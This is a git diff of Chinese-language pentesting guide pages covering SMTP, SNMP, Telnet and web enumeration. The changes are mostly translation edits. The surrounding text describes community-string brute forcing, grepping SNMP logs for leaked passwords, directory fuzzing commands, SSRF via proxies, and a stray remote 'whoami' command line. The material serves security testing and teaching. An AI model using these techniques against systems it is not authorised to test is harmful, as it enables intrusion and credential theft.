administrator@10.10.10.175 "whoami"
diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md
index 7a841ff73..66ff16612 100644
--- a/src/network-services-pentesting/pentesting-smtp/README.md
+++ b/src/network-services-pentesting/pentesting-smtp/README.md
@@ -58,11 +58,11 @@ NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
-或 **自动化** 这个过程使用 **nmap** 插件 `smtp-ntlm-info.nse`
+或**自动化**此操作,使用**nmap**插件`smtp-ntlm-info.nse`
### 内部服务器名称 - 信息泄露
-一些 SMTP 服务器在发出 "MAIL FROM" 命令时,如果没有提供完整地址,会自动补全发件人地址,从而泄露其内部名称:
+一些SMTP服务器在发出“MAIL FROM”命令时,如果没有提供完整地址,会自动补全发件人地址,从而泄露其内部名称:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
@@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling
-SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一部分)。有关 SMTP Smuggling 的更多信息,请查看:
+SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一节)。有关 SMTP Smuggling 的更多信息,请查看:
{{#ref}}
smtp-smuggling.md
@@ -255,8 +255,8 @@ smtp-smuggling.md
| INCLUDE | 引用另一个域的策略。如果该域的策略通过,则此机制通过。但是,如果包含的策略失败,则继续处理。要完全委托给另一个域的策略,必须使用重定向扩展。 |
| REDIRECT | 重定向是指向另一个域名的指针,该域名托管 SPF 策略,它允许多个域共享相同的 SPF 策略。当处理大量共享相同电子邮件基础设施的域时,它非常有用。
将使用重定向机制中指示的域的 SPF 策略。
|
-还可以识别 **限定符**,指示 **如果匹配了某个机制应该采取什么措施**。默认情况下,使用 **限定符 "+"**(因此如果匹配了任何机制,则表示允许)。\
-您通常会注意到 **每个 SPF 策略的末尾** 有类似 **\~all** 或 **-all** 的内容。这用于指示 **如果发送者不匹配任何 SPF 策略,则应将电子邮件标记为不可信(\~)或拒绝(-)电子邮件。**
+还可以识别 **限定符**,指示 **如果匹配机制应该采取什么措施**。默认情况下,使用 **限定符 "+"**(因此如果匹配任何机制,则表示允许)。\
+您通常会注意到 **每个 SPF 策略的末尾** 有类似 **\~all** 或 **-all** 的内容。这用于指示 **如果发送者不匹配任何 SPF 策略,则应将电子邮件标记为不可信(\~)或拒绝(-)该电子邮件。**
#### 限定符
@@ -265,9 +265,9 @@ smtp-smuggling.md
- **`+`**:对应于通过结果。默认情况下,机制假定此限定符,使得 `+mx` 等同于 `mx`。
- **`?`**:表示中立结果,类似于无(没有特定策略)。
- **`~`**:表示软失败,作为中立和失败之间的中间状态。符合此结果的电子邮件通常被接受,但会相应标记。
-- **`-`**:表示失败,建议直接拒绝电子邮件。
+- **`-`**:表示失败,建议直接拒绝该电子邮件。
-在即将到来的示例中,**google.com 的 SPF 策略** 被说明。请注意在第一个 SPF 策略中包含来自不同域的 SPF 策略:
+在即将到来的示例中,展示了 **google.com 的 SPF 策略**。请注意在第一个 SPF 策略中包含来自不同域的 SPF 策略:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
@@ -328,8 +328,8 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| pct | 受过滤消息的百分比 | pct=20 |
| ruf | 取证报告的报告 URI | ruf=mailto:authfail@example.com |
| rua | 汇总报告的报告 URI | rua=mailto:aggrep@example.com |
-| p | 组织域的政策 | p=quarantine |
-| sp | OD 的子域政策 | sp=reject |
+| p | 组织域的策略 | p=quarantine |
+| sp | OD 的子域策略 | sp=reject |
| adkim | DKIM 的对齐模式 | adkim=s |
| aspf | SPF 的对齐模式 | aspf=r |
@@ -351,9 +351,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **开放转发**
-当发送电子邮件时,确保它们不会被标记为垃圾邮件至关重要。这通常通过使用**受收件人信任的中继服务器**来实现。然而,一个常见的挑战是管理员可能并不完全了解哪些**IP 范围是安全的**。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误,这是安全评估中经常识别的风险。
+发送电子邮件时,确保它们不会被标记为垃圾邮件至关重要。这通常通过使用**受收件人信任的中继服务器**来实现。然而,一个常见的挑战是管理员可能并不完全了解哪些**IP 范围是安全的**。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误,这是安全评估中经常识别的风险。
-一些管理员使用的解决方法是为了避免电子邮件投递问题,特别是与潜在或正在进行的客户的通信,**允许来自任何 IP 地址的连接**。这是通过配置 SMTP 服务器的 `mynetworks` 参数以接受所有 IP 地址来实现的,如下所示:
+一些管理员使用的解决方法是**允许来自任何 IP 地址的连接**,以避免电子邮件投递问题,特别是与潜在或正在进行的客户的通信。这是通过配置 SMTP 服务器的 `mynetworks` 参数以接受所有 IP 地址来实现的,如下所示:
```bash
mynetworks = 0.0.0.0/0
```
@@ -486,7 +486,7 @@ s.sendmail(sender, [destination], msg_data)
- 损坏的电子邮件内容
- 使用的值与邮件头不同
- 存在有效且受信任的SSL证书
-- 将页面提交给网络内容过滤网站
+- 将页面提交到网络内容过滤网站
## 通过SMTP进行外泄
diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md
index c9cb3e5bf..a1b348594 100644
--- a/src/network-services-pentesting/pentesting-snmp/README.md
+++ b/src/network-services-pentesting/pentesting-snmp/README.md
@@ -15,7 +15,7 @@ PORT STATE SERVICE REASON VERSION
### MIB
为了确保 SNMP 访问在不同制造商和不同客户端-服务器组合之间正常工作,创建了 **管理信息库 (MIB)**。MIB 是一种 **存储设备信息的独立格式**。MIB 是一个 **文本** 文件,其中列出了设备的所有可查询 **SNMP 对象**,以 **标准化** 的树形层次结构呈现。它至少包含一个 `对象标识符` (`OID`),该标识符除了必要的 **唯一地址** 和 **名称** 外,还提供有关类型、访问权限和相应对象描述的信息。\
-MIB 文件采用 `抽象语法标记一号` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它们解释了 **在哪里找到哪些信息** 以及它们的外观,返回特定 OID 的值,或使用哪种数据类型。
+MIB 文件采用 `抽象语法标记一` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它们解释了 **在哪里找到哪些信息** 以及它们的外观,返回特定 OID 的值,或使用哪种数据类型。
### OIDs
@@ -27,7 +27,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
.png>)
-您可以通过网络 **浏览** OID 树: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
+您可以通过网络 **导航** 通过 **OID 树**: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
有一些 **知名的 OID**,例如 [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 中的 OID,引用了 MIB-2 定义的简单网络管理协议 (SNMP) 变量。从 **这个 OID 的待处理 OID** 中,您可以获取一些有趣的主机数据(系统数据、网络数据、进程数据...)
### **OID 示例**
@@ -45,11 +45,11 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
- 4 – 该值确定该设备是由私营组织制造的,而不是政府组织。
- 1 – 该值表示该设备是由企业或商业实体制造的。
-这前六个值对于所有设备通常是相同的,它们提供了关于设备的基本信息。这个数字序列对于所有 OID 都是相同的,除非设备是由政府制造的。
+这前六个值对于所有设备来说往往是相同的,它们提供了关于设备的基本信息。这个数字序列对于所有 OID 来说都是相同的,除非设备是由政府制造的。
接下来是下一组数字。
-- 1452 – 给出制造该设备的组织名称。
+- 1452 – 给出制造该设备的组织的名称。
- 1 – 解释设备的类型。在这种情况下,它是一个闹钟。
- 2 – 确定该设备是一个远程终端单元。
@@ -58,7 +58,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
- 5 – 表示一个离散的报警点。
- 1 – 设备中的特定点
- 3 – 端口
-- 21 – 端口地址
+- 21 – 端口的地址
- 1 – 端口的显示
- 4 – 点号
- 7 – 点的状态
@@ -67,7 +67,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
有 2 个重要的 SNMP 版本:
-- **SNMPv1**:主要版本,仍然是最常见的,**身份验证基于字符串**(社区字符串),以 **明文** 形式传输(所有信息以明文形式传输)。**版本 2 和 2c** 也以 **明文** 发送 **流量**,并使用 **社区字符串作为身份验证**。
+- **SNMPv1**:主要版本,仍然是最常见的,**身份验证基于字符串**(社区字符串),以 **明文** 形式传输(所有信息以明文传输)。**版本 2 和 2c** 也以 **明文** 发送 **流量**,并使用 **社区字符串作为身份验证**。
- **SNMPv3**:使用更好的 **身份验证** 形式,信息以 **加密** 形式传输(可以进行 **字典攻击**,但找到正确的凭据比在 SNMPv1 和 v2 中要困难得多)。
### 社区字符串
@@ -79,7 +79,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
- **`private`** **读/写** 一般
请注意,**OID 的可写性取决于使用的社区字符串**,因此 **即使** 您发现使用了“**public**”,您也可能能够 **写入某些值**。此外,可能存在 **始终为“只读”** 的对象。\
-如果您尝试 **写入** 一个对象,将收到 **`noSuchName` 或 `readOnly` 错误**\*\*.\*\*
+如果您尝试 **写入** 对象,将收到 **`noSuchName` 或 `readOnly` 错误**\*\*.\*\*
在版本 1 和 2/2c 中,如果您使用 **错误** 的社区字符串,服务器将不会 **响应**。因此,如果它响应,则使用了 **有效的社区字符串**。
@@ -93,7 +93,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
## 暴力破解社区字符串 (v1 和 v2c)
-要 **猜测社区字符串**,您可以执行字典攻击。查看 [这里不同的方法以对 SNMP 执行暴力攻击](../../generic-hacking/brute-force.md#snmp)。一个常用的社区字符串是 `public`。
+要 **猜测社区字符串**,您可以执行字典攻击。查看 [这里不同的方式来对 SNMP 执行暴力攻击](../../generic-hacking/brute-force.md#snmp)。一个常用的社区字符串是 `public`。
## 枚举 SNMP
@@ -124,9 +124,9 @@ braa @:.1.3.6.* #Bruteforce specific OID
```bash
snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
-**SNMP** 具有关于主机的大量信息,您可能会发现有趣的内容包括:**网络接口**(IPv4 和 **IPv6** 地址)、用户名、运行时间、服务器/操作系统版本以及 **进程**
+**SNMP** 具有关于主机的大量信息,您可能会发现有趣的内容包括:**网络接口**(IPv4 和 **IPv6** 地址)、用户名、正常运行时间、服务器/操作系统版本和 **进程**
-**运行**(可能包含密码)....
+**运行中**(可能包含密码)....
### **危险设置**
@@ -145,7 +145,7 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
### SNMP 参数用于 Microsoft Windows
-一系列 **管理信息库(MIB)值** 被用于通过 SNMP 监控 Windows 系统的各个方面:
+一系列 **管理信息库 (MIB) 值** 被用于通过 SNMP 监控 Windows 系统的各个方面:
- **系统进程**:通过 `1.3.6.1.2.1.25.1.6.0` 访问,此参数允许监控系统内的活动进程。
- **运行程序**:`1.3.6.1.2.1.25.4.2.1.2` 值用于跟踪当前运行的程序。
@@ -165,7 +165,7 @@ cisco-snmp.md
## 从 SNMP 到 RCE
-如果您拥有允许您 **写入值** 到 SNMP 服务的 **字符串**,您可能能够利用它来 **执行命令**:
+如果您拥有允许您在 SNMP 服务中 **写入值** 的 **字符串**,您可能能够利用它来 **执行命令**:
{{#ref}}
snmp-rce.md
@@ -173,11 +173,11 @@ snmp-rce.md
## **大规模 SNMP**
-[Braa](https://github.com/mteg/braa) 是一个大规模 SNMP 扫描器。此类工具的预期用途当然是进行 SNMP 查询——但与来自 net-snmp 的 snmpwalk 不同,它能够同时查询数十或数百个主机,并且在一个进程中。因此,它消耗的系统资源非常少,并且扫描速度非常快。
+[Braa ](https://github.com/mteg/braa) 是一个大规模 SNMP 扫描器。此类工具的预期用途当然是进行 SNMP 查询——但与来自 net-snmp 的 snmpwalk 不同,它能够同时查询数十或数百个主机,并且在一个进程中。因此,它消耗的系统资源非常少,并且扫描速度非常快。
Braa 实现了自己的 SNMP 堆栈,因此不需要任何 SNMP 库,如 net-snmp。
-**语法:** braa \[Community-string]@\ [IP of SNMP server]:\[iso id]
+**语法:** braa \[社区字符串\]@\[\[SNMP 服务器的 IP\]:\[iso id\]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@@ -199,13 +199,13 @@ grep -i "trap" *.snmp
```
### **用户名/密码**
-存储在 MIB 表中的日志会被检查以查找 **失败的登录尝试**,这些尝试可能意外地包括作为用户名输入的密码。搜索关键词如 _fail_、_failed_ 或 _login_ 以找到有价值的数据:
+存储在 MIB 表中的日志会被检查以寻找 **登录失败尝试**,这可能意外地包括作为用户名输入的密码。搜索关键词如 _fail_、_failed_ 或 _login_ 以找到有价值的数据:
```bash
grep -i "login\|fail" *.snmp
```
### **电子邮件**
-最后,为了从数据中提取 **电子邮件地址**,使用带有正则表达式的 **grep 命令**,专注于匹配电子邮件格式的模式:
+最后,为了从数据中提取 **电子邮件地址**,使用带有正则表达式的 **grep 命令**,重点关注匹配电子邮件格式的模式:
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md
index 5a116b1d1..4db3880ab 100644
--- a/src/network-services-pentesting/pentesting-telnet.md
+++ b/src/network-services-pentesting/pentesting-telnet.md
@@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23
```
脚本 `telnet-ntlm-info.nse` 将获取 NTLM 信息(Windows 版本)。
-来自 [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854):在 TELNET 协议中有各种 "**options**",可以使用 "**DO, DON'T, WILL, WON'T**" 结构进行协商,以便用户和服务器同意使用更复杂(或可能只是不同)的约定集进行 TELNET 连接。这些选项可能包括更改字符集、回显模式等。
+来自 [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854):在 TELNET 协议中有各种 "**options**",可以使用 "**DO, DON'T, WILL, WON'T**" 结构进行授权,以便用户和服务器同意使用更复杂(或可能只是不同)的约定集进行 TELNET 连接。这些选项可能包括更改字符集、回显模式等。
**我知道可以枚举这些选项,但我不知道怎么做,所以如果你知道怎么做,请告诉我。**
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 5786d9342..32cd0391b 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -37,10 +37,10 @@ web-api-pentesting.md
- [ ] _注意,在暴力破解或爬取过程中发现新目录时,应进行爬取。_
- [ ] **目录暴力破解**:尝试暴力破解所有发现的文件夹,寻找新的**文件**和**目录**。
- [ ] _注意,在暴力破解或爬取过程中发现新目录时,应进行暴力破解。_
-- [ ] **备份检查**:测试是否可以通过附加常见备份扩展名找到**发现的文件**的**备份**。
+- [ ] **备份检查**:测试是否可以通过添加常见备份扩展名找到**发现文件**的**备份**。
- [ ] **暴力破解参数**:尝试**查找隐藏参数**。
-- [ ] 一旦你**识别**了所有可能接受**用户输入**的**端点**,检查与之相关的所有类型的**漏洞**。
-- [ ] [遵循此检查清单](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] 一旦你**识别**了所有可能接受**用户输入**的**端点**,检查与之相关的各种**漏洞**。
+- [ ] [遵循此检查表](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
@@ -98,19 +98,19 @@ webanalyze -host https://google.com -crawl 2
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
-_请注意,**同一域名**可能在不同的 **端口**、**文件夹**和 **子域名**中使用 **不同的技术**。_\
-如果 web 应用程序使用了之前列出的任何知名 **技术/平台**或 **其他**,请不要忘记 **在互联网上搜索** 新的技巧(并告诉我!)。
+_请注意,**同一域**可能在不同的**端口**、**文件夹**和**子域**中使用**不同的技术**。_\
+如果 web 应用程序使用了之前列出的任何知名 **技术/平台** 或 **其他**,请不要忘记 **在互联网上搜索** 新的技巧(并告诉我!)。
### 源代码审查
如果应用程序的 **源代码** 在 **github** 上可用,除了进行 **自己的白盒测试** 外,还有 **一些信息** 可能对当前的 **黑盒测试** **有用**:
-- 是否有 **变更日志或 Readme 或版本** 文件或任何可以通过网络访问的 **版本信息**?
-- **凭据** 是如何保存的?是否有任何(可访问的?) **文件** 包含凭据(用户名或密码)?
+- 是否有 **变更日志或 Readme 或版本** 文件或任何带有 **版本信息的可访问** 的网页?
+- **凭据** 是如何保存的?是否有任何(可访问的?)**文件** 包含凭据(用户名或密码)?
- **密码** 是 **明文**、**加密** 还是使用了哪种 **哈希算法**?
- 是否使用了任何 **主密钥** 来加密某些内容?使用了哪种 **算法**?
- 你能否通过利用某个漏洞 **访问这些文件**?
-- 在 **github** 上是否有任何 **有趣的信息**(已解决和未解决的) **问题**?或者在 **提交历史** 中(也许某个 **旧提交** 中引入的 **密码**)?
+- 在 **github** 上是否有任何 **有趣的信息**(已解决和未解决的) **问题**?或者在 **提交历史** 中(也许某个 **旧提交中引入的密码**)?
{{#ref}}
code-review-tools.md
@@ -164,7 +164,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**强制错误**
-当向Web服务器发送奇怪的数据时,可能会**表现出意外行为**。这可能会打开**漏洞**或**泄露敏感信息**。
+当向Web服务器发送奇怪的数据时,Web服务器可能会**表现异常**。这可能会打开**漏洞**或**泄露敏感信息**。
- 访问**假页面**如 /whatever_fake.php (.aspx,.html,.etc)
- 在**cookie值**和**参数**值中**添加 "\[]", "]]", 和 "\[\["**以创建错误
@@ -176,14 +176,14 @@ joomlavs.rb #https://github.com/rastating/joomlavs
如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**,请尝试:
- **暴力破解**凭据
-- 通过WebDav将**文件上传**到网页中**找到的其他文件夹**。您可能有权限在其他文件夹中上传文件。
+- 通过WebDav将**文件上传**到网页内**找到的其他文件夹**。您可能有权限在其他文件夹中上传文件。
### **SSL/TLS漏洞**
- 如果应用程序在任何部分**不强制用户使用HTTPS**,那么它**容易受到中间人攻击(MitM)**
- 如果应用程序**使用HTTP发送敏感数据(密码)**,那么这是一个高风险漏洞。
-使用[**testssl.sh**](https://github.com/drwetter/testssl.sh)检查**漏洞**(在漏洞赏金计划中,这类漏洞可能不会被接受),并使用[**a2sv**](https://github.com/hahwul/a2sv)重新检查漏洞:
+使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 检查**漏洞**(在漏洞赏金计划中,这类漏洞可能不会被接受),并使用 [**a2sv** ](https://github.com/hahwul/a2sv) 重新检查漏洞:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -205,25 +205,25 @@ sslyze --regular
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫,带有JS文件的LinkFinder和Archive.org作为外部来源。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML爬虫,也指示“美味文件”。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式CLI HTML爬虫。它还在Archive.org中搜索。
-- [**meg**](https://github.com/tomnomnom/meg) (go): 这个工具不是爬虫,但它可能有用。您只需指示一个包含主机的文件和一个包含路径的文件,meg将获取每个主机上的每个路径并保存响应。
+- [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是爬虫,但可能有用。您只需指示一个包含主机的文件和一个包含路径的文件,meg将获取每个主机上的每个路径并保存响应。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有JS渲染能力的HTML爬虫。然而,它似乎没有维护,预编译版本较旧,当前代码无法编译。
- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者(wayback, otx, commoncrawl)的HTML爬虫。
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 这个脚本将找到带参数的URL并列出它们。
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本将找到带参数的URL并列出它们。
- [**galer**](https://github.com/dwisiswant0/galer) (go): 具有JS渲染能力的HTML爬虫。
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫,具有JS美化能力,能够在JS文件中搜索新路径。查看[JSScanner](https://github.com/dark-warlord14/JSScanner)也可能值得一看,它是LinkFinder的一个包装器。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从HTML源和嵌入的JavaScript文件中提取端点。对漏洞猎人、红队员、信息安全专家有用。
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier解析JavaScript文件中相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier从JavaScript文件中解析相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件(HTML),它将使用巧妙的正则表达式从丑陋(压缩)文件中提取相对URL。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 多个工具): 使用多个工具从JS文件中收集有趣的信息。
- [**subjs**](https://github.com/lc/subjs) (go): 查找JS文件。
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在无头浏览器中加载页面并打印出加载页面的所有URL。
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,结合了前面工具的多个选项。
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,结合了前面几个工具的多个选项。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个Burp扩展,用于查找JS文件中的路径和参数。
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 一个工具,给定.js.map URL将获取美化的JS代码。
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 这是一个用于发现给定目标的端点的工具。
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从时光机发现链接(还下载时光机中的响应并寻找更多链接)。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定正则表达式查找敏感信息。
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/蜘蛛,专为网络安全专业人员设计。
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/爬虫,专为网络安全专业人员设计。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 这是一个Go包和[命令行工具](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从JavaScript源代码中提取URL、路径、秘密和其他有趣的数据。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**,用于**提取请求中的参数和端点**以创建自定义字典进行模糊测试和枚举。
- [**katana**](https://github.com/projectdiscovery/katana) (go): 这个工具很棒。
@@ -240,8 +240,8 @@ sslyze --regular
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫,而是一个工具,给定找到的URL列表将删除“重复”的URL。
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展,从不同页面的burp历史中创建目录列表。
+- [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫,而是一个工具,给定找到的URL列表,将删除“重复”的URL。
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展,用于从不同页面的burp历史记录中创建目录列表。
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL(基于js导入)。
- [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。
@@ -268,18 +268,18 @@ _注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力
### 检查每个找到的文件
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中可能容易被接管的断开链接。
-- **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。备份命名的常见变体有:_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp和file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中的断链,可能容易被接管。
+- **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。备份命名的常见变体有:_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **发现新参数**: 您可以使用工具如[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以,您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
- _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **评论:** 检查所有文件的评论,您可以找到**凭据**或**隐藏功能**。
-- 如果您在进行**CTF**,一个“常见”技巧是**隐藏** **信息**在页面的**右侧**的评论中(使用**数百个** **空格**,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
+- 如果您在进行**CTF**,一个“常见”的技巧是**隐藏** **信息**在页面的**右侧**的评论中(使用**数百个** **空格**,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
- **API密钥**: 如果您**找到任何API密钥**,有指南指示如何使用不同平台的API密钥:[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik的API密钥,您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)来检查该密钥可以访问哪些API。
-- **S3存储桶**: 在爬虫过程中查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下,[**检查**存储桶的**权限**](buckets/index.html)。
+- **S3存储桶**: 在爬虫时查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下,[**检查**存储桶的**权限**](buckets/index.html)。
### 特殊发现
@@ -308,15 +308,15 @@ _注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力
**502 Proxy Error**
-如果任何页面**响应**该**代码**,它可能是一个**配置错误的代理**。**如果您发送HTTP请求,如:`GET https://google.com HTTP/1.1`**(带有主机头和其他常见头),**代理**将尝试**访问** _**google.com**_ **,您将发现一个** SSRF。
+如果任何页面**响应**该**代码**,它可能是一个**配置错误的代理**。**如果您发送一个HTTP请求,如:`GET https://google.com HTTP/1.1`**(带有主机头和其他常见头),**代理**将尝试**访问** _**google.com**_ **,您将发现一个** SSRF。
**NTLM认证 - 信息泄露**
如果运行的服务器要求身份验证是**Windows**或您发现一个登录请求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\
